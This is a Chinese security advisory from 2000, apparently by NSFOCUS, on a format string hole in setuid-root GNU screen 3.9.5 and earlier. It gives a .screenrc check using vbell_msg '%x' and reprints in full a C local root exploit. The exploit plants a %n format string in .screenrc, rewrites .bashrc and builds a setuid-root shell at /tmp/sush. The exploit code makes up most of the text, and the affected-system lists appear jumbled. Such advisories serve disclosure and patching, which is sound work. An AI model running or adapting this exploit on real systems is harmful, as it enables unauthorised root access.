安全研究
安全漏洞
screen 3.9.5格式串漏洞
发布日期:2000-09-06
更新日期:2000-09-07
受影响系统:
不受影响系统:
Juergen Weigert screen 3.9.3
Juergen Weigert screen 3.9.4
Juergen Weigert screen 3.9.5
- Sun Solaris 8.0
- Sun Solaris 7.0
- NetBSD 1.4.x
- FreeBSD
- Linux SuSE: 5.3, 6.0, 6.1, 6.2, 6.3, 6.4, 7.0
- AIX 4.2
描述:
Weigert screen 3.9.8
screen 3.9.5及更早的版本中存在一个漏洞,它可以让本地用户提升权限。
如果screen被设置了 setuid root属性,通过在虚拟响铃消息的用户配置值
中放入特定的内容,可以改变存放 uid 的变量的内容。把它的值置成零,
紧跟着启动一个 shell,本地用户就获得 root 权限了。
<* 来源:Jouko Pynn鰊en (jouko@solutions.fi) *>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
为检查漏洞是否存在,在 .screenrc 文件放入语句
vbell on
vbell_msg '%x'
把终端设置成 vt100,按 control-g。如果打印输出是十六进制数,
并且screen被设置了 setuid root属性,则存在此漏洞。
Paul Starzetz (paul@STARZETZ.DE)提供了一个测试程序(for SuSE):
--------------------------- expl.c ------------------------------
/****************************************************************
* *
* Screen 3.7.6 (and others) local exploit *
* by IhaQueR@IRCnet *
* only for demonstrative purposes *
* *
****************************************************************/
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <sys/utsname.h>
#include <pwd.h>
#define TMPBUFSIZE 1024
#define SCREENRC ".screenrc"
#define BASHRC ".bashrc"
#define SCREEN "/usr/bin/screen"
/* to help you hit the buffer we repeat the addr in the dir path */
#define AREP 16
/* but write only once */
#define WREP 1
/* offset of the buffer seen from Msg() */
#define BUFOFFSET 284
#define PADDING 0
/* addr to be written */
#define WRITEADDR 0x807beb4
/* some offsets grabbed from 3.7.6 on S.u.S.E 6.1
&real_uid, &real_gid, &eff_uid, &eff_gid own_uid
0x807beb4 0x807ab1c 0x807aab0 0x807aab4 0x807bea4
+ 64 +64 ? ? ?
to get usefull offsets try this:
------------------- insert into screen.c source ----------------------
char mybuf[100000];
int jj;
void dumpstack(int err, char* fmt, ...)
{
static va_list ap;
char buf[100000];
char *p = buf;
FILE * fp;
#define STACKDMP "/tmp/stackdmp"
va_start(ap, fmt);
(void) vsnprintf(buf, sizeof(buf) - 100, fmt, ap);
va_end(ap);
if(fp = fopen(STACKDMP, "w")) {
fprintf(fp, "%s", buf);
fclose(fp);
}
}
---------------------------------------------------------------------
then find in screen.c the line: 'Msg(0, VisualBellString);' and replace
it with
bzero(mybuf, 100000);
for (jj=0; jj<1500; jj++)
{
strcat(mybuf, "%x ");
}
dumpstack(0, mybuf);
compile screen, run, hit ctrl-g and look at the stack in
/tmp/stackdmp:-)
of course you can dump the adresses of &real_uid, &real_gid too
(maybe you would need a small offset for a.out)
*/
int main(int argc, char** argv)
{
int i, off=0;
int writeoffs, bufoffset;
unsigned a, *p;
FILE* fp;
unsigned char* cp;
char buf[TMPBUFSIZE];
unsigned char adr[(AREP+2)*sizeof(unsigned)];
char screenrc[TMPBUFSIZE];
char bashrc[TMPBUFSIZE];
struct utsname uts;
struct passwd* pwd;
if(argc != 2) {
printf("USAGE %s offset\n", argv[0]);
return 0;
} else {
printf("Screen 3.7.6+ local r00t exploit\n");
printf("by IhaQueR@IRCnet\n\n");
}
/* calc addr offset */
getcwd(buf, TMPBUFSIZE);
off += strlen(buf);
uname(&uts);
off += strlen(uts.nodename);
pwd = getpwuid(getuid());
off += strlen(pwd->pw_name);
/* user@host:/cwd/ @:/ */
off += 3;
bufoffset = BUFOFFSET + off;
strcpy(screenrc, pwd->pw_dir);
strcat(screenrc, "/");
strcat(screenrc, SCREENRC);
strcpy(bashrc, pwd->pw_dir);
strcat(bashrc, "/");
strcat(bashrc, BASHRC);
/* user supplied offsets */
writeoffs = atoi(argv[1]);
printf("creating magic string\n");
bzero(buf, TMPBUFSIZE);
/* consume stack arguments */
for(i=0; i<bufoffset/4; i++)
strcat(buf, "%.0d");
/* finally write to adress */
for(i=0;i<WREP; i++)
strcat(buf, "%n");
/* create screenrc */
printf("building %s\n", screenrc);
if(fp = fopen(screenrc, "w")) {
fprintf(fp, "vbell on\n");
fprintf(fp, "vbell_msg '%s'\n", buf);
fprintf(fp, "vbellwait 3600\n");
fclose(fp);
}
else {
printf("ERROR: opening %s\n", screenrc);
return 1;
}
/* create bashrc */
printf("creating %s\n", bashrc);
snprintf(buf, TMPBUFSIZE, "cp %s %s.orig", bashrc, bashrc);
system(buf);
snprintf(buf, TMPBUFSIZE, "echo >%s 'chown root:root /tmp/sush; chmod
4755 /tmp/sush'", bashrc);
system(buf);
/* create suid shell */
printf("compiling suid shell\n");
snprintf(buf, TMPBUFSIZE, "echo >/tmp/sush.c 'main(int ac, char**
av){setuid(0); setgid(0); execv(\"/bin/bash\", av);}'");
system(buf);
system("gcc /tmp/sush.c -o /tmp/sush");
/* now create the magic dir... */
printf("makdir()\n");
bzero(adr, (AREP+2)*sizeof(unsigned));
cp = adr;
for(i=0; i<PADDING; i++) {
*cp = 'P';
cp++;
}
p = (unsigned*) cp;
a = WRITEADDR + writeoffs;
for(i=0; i<AREP; i++) {
*p = a;
p++;
}
*p = 0;
/* make dir and call screen */
mkdir((char*)adr, 0xfff);
chdir((char*)adr);
argv[1] = NULL;
printf("press enter to start screen, then hit enter again, ctrl-g,
ctrl-c for suid shell at /tmp/sush");
getchar();
execv(SCREEN, argv);
}
建议:
该漏洞已在版本3.9.8中得到修补,到下面的站点下载新版本:
ftp://ftp.uni-erlangen.de/pub/utilities/screen/screen-3.9.8.tar.gz
浏览次数:6510
严重程度:0(网友投票)
绿盟科技给您安全的保障